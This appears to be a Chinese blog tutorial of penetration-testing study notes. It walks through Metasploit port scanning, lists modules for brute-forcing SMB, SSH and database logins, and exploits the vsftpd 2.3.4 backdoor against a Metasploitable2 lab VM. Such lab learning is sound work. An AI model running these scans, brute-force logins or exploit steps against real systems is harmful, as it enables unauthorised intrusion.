如有侵权,请联系删除
MSF:Metasploit框架(Metasploit Framework,MSF)是一个开源工具。
MSF向后端模块提供多种接口,比如控制台、Web、CLI等等,我们一般都是用的控制台接口。因为控制台可以访问和使用所有的模块插件。
下面介绍怎么使用它。
按理说,现在除了Kali
没有其他系统可以用了。本来确实可以在其他Linux系统
上安装,但是现在MSF官网被墙,好像可以GitHub
下载脚本然后运行,但是我懒得弄了。太麻烦了,明明有更好用的方法 - 使用SSH
或者XShell 6
连接kali虚拟机
连完之后是这样的,我觉得蛮香的。
在自己的shell里使用kali,也不用给kali虚拟机多高配置了。
链接完成后,使用控制台:
msfconsole
信息收集是第一步!获取的信息越多,渗透的可能性就越大。
重点关注的点是:目标机器的IP、可用服务、开放端口
1、搜索端口模块
search portscan
扫描结果为可用的扫描器列表
msf5 > search portscan
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/wordpress_pingback_access normal No Wordpress Pingback Locator
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
3 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
4 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
7 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner
2、使用某漏洞利用模块
use
以TCP为例
use auxiliary/scanner/portscan/tcp
查看需要设置的参数
show options
这里被标记为yes
的参数都必须包含实际的值
msf5 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
看那个为空的RHOSTS
的描述可以看出,这个是待扫描的IP
的设置选项。所以我们可以使用set
来设置
set RHOSTS 127.0.0.1
PORTS
为端口扫描范围的设置
set PORTS 1-500
THREADS
为扫描线程,线程越高速度越快!
set THREADS 20
经过一番设置后,再次查看配置
msf5 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-500 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
THREADS 20 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
配置好了,使用run
命令运行模块即可
msf5 auxiliary(scanner/portscan/tcp) > run
[+] 127.0.0.1: - 127.0.0.1:22 - TCP OPEN
[*] 127.0.0.1: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
可以看到我的Kali虚拟机本机只开了一个22端口
还有一个命令就是unset
,用来取消某个参数值的设置,执行后,参数值恢复默认设置
msf5 auxiliary(scanner/portscan/tcp) > unset PORTS
Unsetting PORTS...
msf5 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
THREADS 20 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
另外还有两个命令 setg
、ubsetg
。这两个命令是对全局性的参数值进行设置或者取消设置
整体的服务模块扫描都和上便提到的类似
这个可以searchscanner
看一下有哪些扫描模块。这个会有580个那么多,这里弄几个比较常用的
模块 | 功能 |
---|---|
auxiliary/scanner/portscan | 端口扫描 |
auxiliary/scanner/smb/smb_version | SMB系统版本扫描 |
auxiliary/scanner/smb/smb_enumusers | SMB枚举 |
auxiliary/scanner/smb/smb_login | SMB弱口令扫描 |
auxiliary/admin/smb/psexec_command | SMB登录且执行命令 |
auxiliary/scanner/ssh/ssh_login | SSH登录测试 |
scanner/mssql/mssql_ping | MSSQL主机信息扫描 |
admin//mssgl_enum | MSSQL枚举 |
admin/mssq/mssql_exec | MSSQL执行命令 |
admin/mssq/mssql_sql | MSSQL查询 |
scanner/mssqI/mssql_login | MSSQL弱口令扫描 |
auxiliary/admin/mysql/mysql_enum | MySQL枚举 |
auxiliary/admin//mysql_sql | MySQ语句执行 |
auxiliary/scanner/mysq/mysql_login | MySQL弱口令扫描 |
auxiliary/scanner/smtp/smtp_version | SMTP版本扫描 |
auxiliary/scanner/smtp/smtp_enum | SMTP枚举 |
auxiliary/scanner/snmp/community | SNMP扫描设备 |
auxiliary/scanner/telnet/telnet_login | TELNET登录 |
scanner/vnc/vnc_none_auth | VNC空口令扫描 |
直接在MSF中使用nmap就可以了,和正常的nmap使用方法是一样的。包括此类第三方的还有sqlmap
msf5 auxiliary(scanner/ssh/ssh_login) > nmap -Pn/-p0 -O 127.0.0.1
[*] exec: nmap -Pn/-p0 -O 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-20 16:44 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00010s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
OS details: Linux 2.6.32
Network Distance: 0 hops
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.47 seconds
这里的-p0
的意思就是不ping
,而-Pn
的意思众所周知就是默认主机都是活动的
。二者结合起来,可以穿透防火墙,也可以避免被防火墙发现。
自行百度matesploitable2搭建教程。
我简单说一下,其实就是去下载一个虚拟机文件,该文件支持三大虚拟机,而且默认开启NAT
和Host-only
,就是说,所有配置都是配置好的了。而且是虚拟机文件,这个如果不经常捣鼓虚拟机的要区分一下镜像和虚拟机文件的区别:你用镜像安装完系统之后,会生成一个虚拟机文件,镜像就没用了。然后你每次在虚拟机的系统里操作,虚拟机文件都会做相应的变化。这个虚拟机文件就是全都配置好的了,你下载完 了,直接双击.vmx
后缀文件就可以了。前提是你安了虚拟机,VMWare、VIrtaulBox都行。
然后用户名和密码全都是msfadmin
。
系统版本为Ununtu
。
所以说这是一个满是漏洞的Ubuntu系统。
进入系统之后,使用这个命令ifconfig
查看本机IP。
前一部分的主机扫描主要是辅助模块(Auxiliaries)
的利用。这部分要开始使用漏洞利用模块(Exploit)
和攻击负载模块(Payload)
。
这两个模块结合基本可以大部分的渗透攻击了!
首先可以使用辅助模块进行端口和服务的扫描;或者是直接利用nmap -sV [URL]
来查看端口和服务版本信息。
msf5 exploit(multi/samba/usermap_script) > nmap -sV 172.16.229.139
[*] exec: nmap -sV 172.16.229.139
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-20 21:20 CST
Nmap scan report for 172.16.229.139
Host is up (0.00076s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:B7:F5:66 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.47 seconds
扫描结果需要注意两点:
PORT
VERSION
就以第一个vsftpd
为例。这里的没一个服务都可以使用接下来类似的步骤进行渗透,其实也无非就是开头说的,Exploit
和Payload
的结合。
msf5 exploit(multi/samba/usermap_script) > search vsftpd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
只有一个可用的模块,如果有很多模块的时候,可以根据Disclosure、Rank和Descripion来判断要用哪个,一般年份越新,等级是优秀的,那么那个就可以用。
Payload
为这个模块info [NAME]
查看模块信息set PAYLOAD exploit/unix/ftp/vsftpd_234_backdoor
show options
同样的Required
为yes
的话,该位置的值必须不能为空。
通过set
来设置,类似这种
set LHOST 182.168.0.1
exploit
或者run
exploit
或者run
即可。hostname
用户名
unamw -a
IP
ifconfig
然后就可以进行下一步操作了 - 后渗透攻击
但是说真的,我就是一个小菜鸡,我连Web这一块都没弄明白呢,我还内网渗透,渗透个龟龟儿,算了算了,就不下一步了…
这本书的学习笔记就差不多就更新到这里。但是这本书里没有文件包含的内容,还有CSRF、SSRF我没怎么好好看,感觉我前端知识太薄弱了,看书有点get不到点。这三部分后续我会进行学习,然后进行笔记更新。
还有就是burp的笔记、文件上传的笔记并没有发上来。因为我都是在本地记的笔记,然后复制到CSDN,burp那一块有太多的截图说明了,复制图片很麻烦就没发;文件上传是因为我在自己的云服务器上搭的靶场,那个发出来我的ip就暴露了,我怕被搞,太麻烦了。
那么下一步的计划可能就是各种比赛、靶场、挖洞了。教育意义大的会更新!
这个系列基本就告一段落了~